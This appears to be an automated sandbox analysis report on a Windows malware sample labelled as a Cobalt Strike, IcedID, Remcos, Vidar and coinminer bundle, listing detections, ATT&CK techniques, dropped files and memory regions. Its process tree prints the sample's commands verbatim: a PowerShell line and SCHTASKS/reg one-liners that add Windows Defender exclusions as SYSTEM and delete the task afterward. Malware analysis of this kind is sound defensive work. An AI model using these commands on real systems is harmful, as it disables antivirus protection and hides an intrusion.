Analysis
- max time kernel
146s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
14/11/2026, 08:27
General
- Target 2026-11-13_948e3265951faf40e2eb039b92e67d66_cobalt-strike_coinminer_icedid_remcos_vidar.exe
- Size 39.0MB
- Sample261114-kctrtacs6k
- SHA256 d7e3e5397603b2d1af163cf4f58b842e0af796559058426ae983fa447493e64e
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Indicator Removal: Clear Persistence 1 TTPs 4 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 5 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-11-13_948e3265951faf40e2eb039b92e67d66_cobalt-strike_coinminer_icedid_remcos_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-13_948e3265951faf40e2eb039b92e67d66_cobalt-strike_coinminer_icedid_remcos_vidar.exe"1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
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C:\Users\Public\WexYQN\sdY5fz.exe"C:\Users\Public\WexYQN\sdY5fz.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WexYQN\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WexYQN\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WexYQN" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
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C:\Windows\system32\cmd.execmd.exe1⤵
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C:\Users\Public\WexYQN\sdY5fz.exe"C:\Users\Public\WexYQN\sdY5fz.exe"1⤵
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
UxEnhance64.dll
adoresd.dat
msadox.tb
sdY5fz.exe
memory/4156-527-0x00007FFDC9610000-0x00007FFDC9622000-memory.dmp
memory/4156-1-0x0000000001F10000-0x0000000001F1E000-memory.dmp
memory/4156-2-0x0000000001F60000-0x0000000001F6C000-memory.dmp
memory/4156-0-0x0000000001F10000-0x0000000001F1E000-memory.dmp
memory/4156-504-0x00007FFDC9610000-0x00007FFDC9622000-memory.dmp
memory/4156-526-0x0000000001F10000-0x0000000001F1E000-memory.dmp
memory/5772-542-0x000001969FF90000-0x00000196A0867000-memory.dmp
memory/5772-570-0x000001969FF90000-0x00000196A0867000-memory.dmp
memory/5772-547-0x000001969FF90000-0x00000196A0867000-memory.dmp
memory/5772-549-0x000001969FF90000-0x00000196A0867000-memory.dmp
memory/5772-548-0x000001969FF90000-0x00000196A0867000-memory.dmp
memory/5772-553-0x000001969FF90000-0x00000196A0867000-memory.dmp
memory/5772-564-0x00000196A0CC0000-0x00000196A0D4A000-memory.dmp
memory/5772-565-0x00000196A0CC0000-0x00000196A0D4A000-memory.dmp
memory/5772-563-0x00000196A0CC0000-0x00000196A0D4A000-memory.dmp
memory/5772-562-0x00000196A0CC0000-0x00000196A0D4A000-memory.dmp
memory/5772-561-0x00000196A0BB0000-0x00000196A0BFE000-memory.dmp
memory/5772-559-0x000001969FF90000-0x00000196A0867000-memory.dmp
memory/5772-567-0x000001969FF90000-0x00000196A0867000-memory.dmp
memory/5772-546-0x000001969FF90000-0x00000196A0867000-memory.dmp
memory/5772-541-0x00007FFDDA020000-0x00007FFDDA022000-memory.dmp
memory/5772-539-0x000001969FF90000-0x00000196A0867000-memory.dmp
memory/5772-534-0x00007FFDB73F0000-0x00007FFDB790E000-memory.dmp
memory/5772-533-0x00007FFDDA010000-0x00007FFDDA012000-memory.dmp
memory/5804-581-0x00007FFDB73F0000-0x00007FFDB790E000-memory.dmp
memory/5804-586-0x00000167AC650000-0x00000167ACF27000-memory.dmp
memory/5804-588-0x00007FFDDA020000-0x00007FFDDA022000-memory.dmp
memory/5804-589-0x00000167AC650000-0x00000167ACF27000-memory.dmp
memory/5804-593-0x00000167AC650000-0x00000167ACF27000-memory.dmp
memory/5804-597-0x00007FFDDA010000-0x00007FFDDA012000-memory.dmp
memory/5804-595-0x00000167AC650000-0x00000167ACF27000-memory.dmp
memory/5804-596-0x00000167AC650000-0x00000167ACF27000-memory.dmp
memory/5804-594-0x00000167AC650000-0x00000167ACF27000-memory.dmp